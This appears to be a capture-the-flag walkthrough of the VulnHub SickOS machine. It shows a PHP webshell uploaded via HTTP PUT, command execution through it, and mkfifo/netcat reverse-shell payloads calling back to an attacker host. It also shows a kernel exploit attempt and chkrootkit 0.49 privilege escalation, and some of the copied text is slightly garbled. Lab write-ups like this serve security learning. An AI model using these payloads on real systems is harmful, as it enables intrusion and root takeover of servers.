Port 80

- Proceed to /test dir
 - Found CMS Version: lighttpd/1.4.28
 - Not exploits found
- Check HTTP methods



· Able to insert webshell

3. Insert webshell

```
curl -v -X PUT -d '<?php system($ GET["cmd"]);?>'
  http://192.168.56.104/test/shell.php
Request
                                                                    Response
Pretty Raw Hex ⇒ \n =
                                                                    Pretty Raw Hex Render 🚍 \n 🗏
1 PUT /test/webShell.php HTTP/1.1
                                                                     1 HTTP/1.1 201 Created
2 Host: 192.168.56.104
                                                                    2 Content-Length: 0
3 Cache-Control: max-age=0
                                                                    3 Connection: close
4 Upgrade-Insecure-Requests: 1
                                                                    4 Date: Sat, 25 Dec 2021 01:03:14 GMT
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
                                                                    5 Server: lighttpd/1.4.28
  (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  OPR/82.0.4227.43
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US, en; q=0.9
9 Connection: close
10 Content-Length: 29
12 <?php system($ GET['cmd']);?>
```

Test RCE

```
Request
                                                                        Response
Pretty Raw Hex □ \n □
                                                                        Pretty Raw Hex Render □ \n ≡
1 GET /test/webShell.php?cmd=id HTTP/1.1
                                                                         HTTP/1.1 200 OK
                                                                         X-Powered-By: PHP/5.3.10-lubuntu3.21
2 Host: 192,168,56,104
                                                                        3 Content-type: text/html
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36
                                                                        4 Connection: close
  (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
                                                                        5 Date: Sat, 25 Dec 2021 01:05:43 GMT
  OPR/82.0.4227.43
                                                                         Server: lighttpd/1.4.28
5 Accept:
                                                                        7 Content-Length: 54
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
                                                                        9 uid=33(www-data) gid=33(www-data) groups=33(www-data)
  0.9
6 Referer: http://192.168.56.104/test/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US, en; q=0.9
9 Connection: close
```

- 5. Obtain shell
 - URL encoded payload

```
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%
2Fbin%2Fsh%20-
i%202%3E%261%7Cnc%20192.168.56.103%20443%20%3E%2Ftmp%2Ff
```

Only worked on port 443

```
(root kali)-[~/vulnHub/sickOS/192.168.56.104/exploit]

# nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 45904
/bin/sh: 0: can't access tty; job control turned off

$ whoami
www-data
$ ■
```

- Failed on ports
 - 4444
 - 1337
 - 5555

Privilege Escalation via kernel exploit

- 1. Ran linpeas
 - 3.11.0-15-generic
- 2. Run kernel exploit
 - https://www.exploit-db.com/exploits/41995 ☑

```
gcc -pthread 41995.c -o exploit
chown guest:guest exploit
setcap cap_net_admin+ep ./exploit
su guest
whoami
./exploit
```

- · Did not work
- 3. Found a suspicious software running on daily cron
 - · chkrootkit is not something that is default/come with the system

```
Cron jobs
  https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 Dec 24 12:01 ..
-rw-r--r- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
```

4. Run it, try to get a version

```
www-data@ubuntu:/tmp$ chkrootkit
/usr/sbin/chkrootkit need root privileges
www-data@ubuntu:/tmp$ chkrootkit -h
Usage: /usr/sbin/chkrootkit [options] [test ...]
Options:
                          show this help and exit
        -h
        -V
                          show version information and exit
        -1
                          show available tests and exit
        -d
                          debug
                          quiet mode
        -q
        -x
                          expert mode
        -r dir
                          use dir as the root directory
        -p dir1:dir2:dirN path for the external commands used by chkrootkit
                          skip NFS mounted dirs
www-data@ubuntu:/tmp$ chkrootkit -V
chkrootkit version 0.49
www-data@ubuntu:/tmp$
```

• There is an exploit for that version

5. Run exploit

```
nano /tmp/update
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
192.168.56.103 443 >/tmp/f
chmod +x /tmp/update
```

- (not 0-10): -/vulmbb/sickOS]

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.